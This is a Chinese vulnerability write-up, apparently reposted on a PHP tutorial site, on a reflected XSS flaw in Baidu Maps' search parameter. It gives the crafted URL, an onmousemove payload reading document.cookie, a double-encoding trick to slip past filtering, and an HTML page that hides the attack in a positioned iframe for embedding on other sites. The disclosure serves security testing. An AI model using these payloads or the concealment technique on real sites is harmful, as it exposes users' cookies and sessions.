网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

百度地图持久型XSS漏洞 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] scriptalert( 我是标题党 ) script1 百度地图存在反射形XSS漏洞,但是被利用,可以变成持久形2 存在XSS的连接http: map baidu com ?newmap=1shareurl=2l=12tn=B_NORMAL_MAPc=13382905,3515188s=bd%26f...

<script>alert(/我是标题党/)</script>

1.百度地图存在反射形XSS漏洞,但是被利用,可以变成持久形






2.存在XSS的连接
 

http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd%26fstq%3D1%26from%3Dwebmap%26c%3D179%26pn%3D0%26rn%3D10%26wd%3D<!XSS!>%26sivtp%3D1%26l%3D12%26bdfrom%3D1





3.上面那段代码,从参数&fstq开始,之后的参数带符号的都需要编码,不进行编码,搜索是空的,比如解码之后访问,如图
 

http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd&fstq=1&from=webmap&c=179&pn=0&rn=10&wd=<!XSS!>&sivtp=1&l=12&bdfrom=1




 

QQ截图20140814044439.png





4,如果测试的时候搜索是空的,大概是这个问题

---------------------------------------------------------------------------------------



5,然后.存在XSS的参数是&wd参数,因为这个参数会把单引号,当成双引号,然后被当成属性分割出去了.而且XSS刚好存在<a>标签里面,如图
 

QQ截图20140814045004.png











6.知道这个,然后再构造代码。
 

'onmousemove="alert(document.cookie)"style="font-size:999px;cursor: default !important;"





7.style属性把字体设置大点容易点到





8.然后要再把=等于号两次编码,因为这个参数测试的时候如果存在等于号的时候搜索内容清空,所以编码两次就不会清空了.
 

= → %3d → %253d





如图



构造好的代码

http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd%26fstq%3D1%26from%3Dwebmap%26c%3D179%26pn%3D0%26rn%3D10%26wd%3D'onmousemove%253D%22alert(document.cookie)%22style%253d%22font-size:999px;cursor:%20default%20!important;%22%26sivtp%3D1%26l%3D12%26bdfrom%3D1







9.如图
 

QQ截图20140814050147.png







10.当把鼠标移动到左边的时候就触发XSS了







------------------------------------------------------------------------------------------



11.这个时候百度会说,一般只有小白才会去点这个连接,而且鼠标还要移动上去,懂的人根本不会去点





12.这个时候可以用iframe框架,增加隐蔽







13.最终构造好的代码,下面


 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>存储型XSS测试</title>
<style type="text/css">
body {
text-align:center}
</style>
</head>
<body>
<iframe src="http://map.baidu.com/?newmap=1&shareurl=2&l=12&tn=B_NORMAL_MAP&c=13382905,3515188&s=bd%26fstq%3D1%26from%3Dwebmap%26c%3D179%26pn%3D0%26rn%3D10%26wd%3D'onmousemove%253D%22alert(document.cookie)%22style%253d%22font-size:999px;cursor:%20default%20!important;%22%26sivtp%3D1%26l%3D12%26bdfrom%3D1" height="1000" width="350" style="position:absolute; left:500px; top:-500px;" scrolling="no">
</body>
</html>







14.上面那段代码简单说,就是,iframe框架里面加上反射XSS连接,然后设置宽和高,刚好和XSS范围大小一样,然后为了隐藏上面搜索栏的那段代码,可以设置绝对位置为负数,往上面移动,挡住搜索栏,这样就不会被看见了





15.最终效果图.如图


 

QQ截图20140814051310.png











16.看上面的图可以看出,可以当持久形XSS了,可以被人挂在自己的网站

 

修复方案:

虽然不知道为什么单引号可以当成双引号,但是感觉好厉害的样子

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论